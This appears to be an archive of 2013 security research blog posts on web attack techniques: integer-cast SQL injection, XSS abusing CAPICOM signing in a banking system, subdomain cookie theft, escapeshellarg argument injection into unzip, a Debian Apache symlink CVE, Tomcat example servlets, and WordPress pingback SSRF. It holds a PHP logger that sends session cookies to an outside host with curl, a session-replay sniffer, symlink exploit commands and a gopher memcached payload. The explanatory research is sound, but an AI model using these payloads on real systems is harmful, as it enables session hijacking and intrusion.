понедельник, 13 мая 2013 г.

When Integer cannot protect you from SQL injection?

It is assumed that the cast user data to a numeric type is fully protected from SQL injection vulnerabilities.

Look at simple example:

$action = $_GET['do'];
$r=$db->query("select role".((int)$action)." from users where id=".((int)$_SESSION['user_id']));
if($row=$r->fetchArray()){
        if((int)$row[0]!==1){
                die('permission denied');
        }else{
                doAction($action);
        }
}


This code looks like SQLi protected, but it is not true.

Do not forget two obvious facts:
1. Minus is SQL operatator
2. Numbers can be negative

Now its easy to understand SQL logic in this case (w/o injection):

select role0 from users where id=0

And SQL injection attack vector in this case:

select role-1 from users where id=0


In our example attacker can bypass auth.
This example requires tables role and role0 both in database.

среда, 24 апреля 2013 г.

How XSS can defeat your digital signatures

Recently we exploited nice XSS vector in one of RBS (Remote Banking Service) system. This example shows very well how dangerous can be client-attack.

Client after the authorization could sign electronic documents.
For signature from browser developers used CAPICOM technology.

If you are already understood us, you can not finish this note ;)

Signature from JavaScript - this is easy and usefull from client-side attacks.
JS code for sign document looks like:



function SignCreate(certSubjectName, dataToSign) {
    var oStore = CreateObject("CAPICOM.Store");
    oStore.Open(CAPICOM_CURRENT_USER_STORE, CAPICOM_MY_STORE,
    CAPICOM_STORE_OPEN_MAXIMUM_ALLOWED);

    var oCertificates = oStore.Certificates.Find(
    CAPICOM_CERTIFICATE_FIND_SUBJECT_NAME, certSubjectName);
    if (oCertificates.Count == 0) {
        alert("Certificate not found: " + certSubjectName);
        return;
    }
    ...


You can easily call this function from stored/reflected XSS to sign arbitrary data.
To solve the PIN entry problem, we have used the caching mechanism for the key. Most often, after entering the PIN code of the key, PIN is remembered for a while.

So we were able to sign arbitrary (injected) document immediately after the user signs his own document (and entered PIN of course).

Then, using the Javascript we were able to hide the injected signed document from users's orders table (document was order request) for current user.

So only a single stored XSS vulnerability defeated all security measures of the RBS system. Note, that typically protections such as httpOnly cookies and SSL have been included, but it does not help.

понедельник, 8 апреля 2013 г.

Exploiting server-side vulns as client-side?!!

Sounds terrible, does not it? This post is obviously of course ;)

But sometimes this is effective attack vector, for example, whenever you can exploit any subdomain (news.your-target.com) but can not exploit main domain (your-target.com).

You can track cookies at any subdomain even if they were protected by httpOnly/Security.
Look to RFC6265 http://tools.ietf.org/html/rfc6265:

4.1.2.3. The Domain Attribute
The Domain attribute specifies those hosts to which the cookie will be sent. For example, if the value of the Domain attribute is "example.com", the user agent will include the cookie in the Cookie header when making HTTP requests to example.com, www.example.com, and www.corp.example.com. (Note that a leading %x2E ("."), if present, is ignored even though that character is not permitted, but a trailing %x2E ("."), if present, will cause the user agent to ignore the attribute.) If the server omits the Domain attribute, the user agent will return the cookie only to the origin server.

Tracking cookies are possible when main server sending Set-cookie header with "domain" attribute.
Logger to inject into subdomain may looks like:
<?php
if(!isset($_COOKIE['session_id']) || !preg_match('/$ASYOUWANT^/s',$_COOKIE['session_id']) || isset($_SESSION['already_logged'])){
   //do nothing
}else{
   //exec called for asynchronous request
   exec("curl http://security-auditor.com/sniffer.php?session_id=".$_COOKIE['session_id'])." &";//httpOnly cookie of course
   $_SESSION['already_logged']=true;
}
?>
Simple code of described sniffer listed below:
<?php
$ssid = @$_GET['session_id'];
if($ssid!=""){
 // download page as a client
 $opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: session_id=$ssid;\r\n"
  )
 );
 $context = stream_context_create($opts);
 $file = file_get_contents('https://target.com/settings', false, $context);
 if(!file_exists("/tmp/sess-$ssid")){
        file_put_contents("/tmp/sess-$ssid","Cookie: session_id=$ssid; \n".$file ); } }
?>

воскресенье, 24 марта 2013 г.

Breaking escapeshellarg() news

PHP function escapeshellarg() is the most popular way to prevent OS Commanding threats during shell calls by escaping command arguments.

But this function is not a panacea, and you should keep this in mind when using it.

Let's try to understand what this escaping function is doing:
  1. Performs framing quotes string: aaa -> 'aaa'
  2. Cuts bytes 0x00, 0x80-0xFF
  3. Escape single quotes: ' -> ''\'''
This guaranteed to create one console line argument from a string.
So, looks like ideal solution, right?

But there are no restrictions on characters in this line argument. For example, command line argument after escapeshellarg() filtration can be a command key (-a, -o and others). This is the first trick.

Second trick is argument parser which embeded in command line utilities.

Feel it:
$command -arg param
$command -arg=param
$command '-arg=param'
$command '-arg param'

There are no differences between these four examples for most command line utilities! Pay your attention to two last command lines, - you can put these lines after escapeshellarg() filtration.

Example:
<?php
   exec('unzip -j '.escapeshellarg($_GET['zip_arch_name']).' *.dat -d /tmp');
?>
Is it code protected from hackers? Try to check this in terminal by typing:
$ unzip -j '-d/var/www/' *.dat -d /tmp

This command will extract files with masks '*.dat' (all matches after first), '-d', '/tmp' from ZIP arhieve with filename *.dat to output folder /var/www.

Preparing exploit:
$ ln -s /etc/hosts 2.dat
$ zip --symlinks 1.zip 2.dat
$ mv 1.zip 1.dat

You can also add file with name '-d' to archive to make attack more stable (w/o needs of upload 1.dat and 2.dat both for exploit).

Try it:

$ unzip -j '-d/var/www' *.dat -d /tmp
Archive:  1.dat
    linking: /var/www/2.dat  -> /etc/hosts
finishing deferred symbolic links:
  /var/www/2.dat -> /etc/hosts
caution: filename not matched:  -d
caution: filename not matched:  /tmp

Now you can read files by +FollowSymlinks              -------------->

вторник, 5 марта 2013 г.

Analysis of CVE-2013-1048

Today we were very surprised by vulnerability CVE-2013-1048 in Apache web-server. This issue was described in Debian Security Advisory DSA-2637-1 by following notes:

Hayawardh Vijayakumar noticed that the apache2ctl script created the lock directory in an unsafe manner, allowing a local attacker to gain elevated privileges via a symlink attack. This is a Debian specific issue.
First looks at last line of quote - only Debian systems were affected.

Lets try to analyse patch for this bug:


As you can see, install command was replaced to mkdir_chown function which contains many security checks.

Lets try to understand what happens where "install -d -o www-data /var/lock/apache" called.

This command creates directory /var/lock/apache and that set chown www-data to this directory.

But if this directory was already created as a symlink to another directory (/var/lock have a+w privileges), install command change privileges to this directory. Simplest exploitation way is create directory /var/lock/apache as a symlink to /etc/ directory and than delete /etc/shadow file and recreate it with yourself content under www-data user privileges.

суббота, 2 марта 2013 г.

Tomcat Servlet Examples threats

Tomcat application server by default contains "/examples" directory which has many example servlets and JSPs.
We strongly recommend to disable public access to this directory by following security reasons:

  • Bypassing HttpOnly Cookies protection
  • CSRF cookies manipulation
  • Session manipulation
HttpOnly flag must protect user's cookies from client-side attacks such as XSS. There are two example servlets in Tomcat which shows all cookies in plain/text HTTP response:
  • /examples/servlets/servlet/RequestHeaderExample
  • /examples/servlets/servlet/CookieExample
Second servlet also provides CSRF-based cookie manipulations: set/redefine by GET and POST requests both.

Session manipulation is more interesting. Looks at /examples/servlets/servlet/SessionExample servlet. It is simplest way to gain admin privileges in target webapps which hosted on same Tomcat with SessionExample servlet.

Session is global and this servlet provides you any manipulations with your session!
We strongly recommend to disable public access to /examples directory again.

пятница, 4 января 2013 г.

WordPress XMLRPC pingback additional issues

Vulnerability in WordPress XMLRPC pingback function was recently published:
http://www.ethicalhack3r.co.uk/introduction-to-the-wordpress-xml-rpc-api/

Basically this vuln can be used to scan opened ports on localhost and intranet:
https://github.com/FireFart/WordpressPingbackPortScanner

But in fact, this vulnerability is much wider!

First, look at "SSRF bible. Cheatsheet":
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
and our ZeroNights 0x02 presentation:
http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities

Lets try to exploit this bug as a SSRF!
By default WP try to use cURL (libcurl) to make a requests:

./wp-includes/class-wp-xmlrpc-server.php:
 4988       $linea = wp_remote_fopen( $pagelinkedfrom );


./wp-includes/functions.php:
 749 function wp_remote_fopen( $uri ) {
 ...
 758         $response = wp_remote_get( $uri, $options );


./wp-includes/http.php:
 74 function wp_remote_get($url, $args = array()) {
 75         $objFetchSite = _wp_http_get_object();
 76         return $objFetchSite->get($url, $args);  ...
 22 function &_wp_http_get_object() {
 23         static $http;
 24
 25         if ( is_null($http) )
 26                 $http = new WP_Http();


./wp-includes/class-http.php:
 294         function get($url, $args = array()) {
 295                 $defaults = array('method' => 'GET');
 296                 $r = wp_parse_args( $args, $defaults );
 297                 return $this->request($url, $r);
 298         }
 ...  

 81         function request( $url, $args = array() ) {
 ...
 191                 return $this->_dispatch_request($url, $r);
 ...
 243         private function _dispatch_request( $url, $args ) {
 244                 static $transports = array();
 245
 246                 $class = $this->_get_first_available_transport( $args, $url
 ...
 205         public function _get_first_available_transport( $args, $url = null )
 206                 $request_order = array( 'curl', 'streams', 'fsockopen' );

Now you know that using file:// gopher:// dict:// ldap:// and other schemas do this bug really dangerous.
It is easy to exploit local services and host-based auth by dict/gopher.

Try to read data from response. It is may be response with local file content (file://) or data from intranet/services (http://wiki.internal.local, gopher://localhost:11211/1get%20secretkey%0aquit).

Look at WP code again:

./wp-includes/class-wp-xmlrpc-server.php:
 4988   $linea = wp_remote_fopen( $pagelinkedfrom );
 4989   if ( !$linea )
 ...
 4999   preg_match('|<title>([^<]*?)</title>|is', $linea, $matchtitle);
 5000   $title = $matchtitle[1];
 5001   if ( empty( $title ) )
 5002      return new IXR_Error(32, __('We cannot find a title on that page.'));
 5003
 5004   $linea = strip_tags( $linea, '<a>' ); // just keep the tag we need
 5005
 5006   $p = explode( "\n\n", $linea );
 5007
 5008   $preg_target = preg_quote($pagelinkedto, '|');
 5009   foreach ( $p as $para ) {
 5010      if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
 5011         preg_match("|<a[^>]+?".$preg_target."[^>]*>([^>]+?)</a>|", $para, $context);
 5012
 5013         // If the URL isn't in a link context, keep looking
 5014         if ( empty($context) )
 5015            continue;

 ...

 5019         $excerpt = preg_replace('|\</?wpcontext\>|', '', $para);
 5020 
 5021         // prevent really long link text
 5022         if ( strlen($context[1]) > 100 )
 5023            $context[1] = substr($context[1], 0, 100) . '...';

Data between "<titile>" and "</title>" strings will be put in author field of comment (255 bytes limited by DB field).
Data between "<a >" and "</a>" strings will be put in content field of comment (100 bytes limited by line 5022).

Now it is clear that you can read 355 bytes of arbitrary data.

Let's try to read data from access.log.
First inject markers into access.log by following requests:
http://localhost/tests/wordpress/#<title>
http://localhost/tests/wordpress/#</title>
http://localhost/tests/wordpress/#<a http://localhost/tests/wordpress/?p=1>
http://localhost/tests/wordpress/#</a>

Send requests with markers by manually crafted HTTP packets like this (browsers create HTTP requests w/o anchors):
GET /tests/wordpress/#<a>marker1 HTTP/1.1
Host: localhost

Now you can add comment with arbitrary data between your markers using simple XMLRPC request (see slides 20-23 from our presentation about ProcFS way to read access.log):


For fun - reading output of stats memcached command: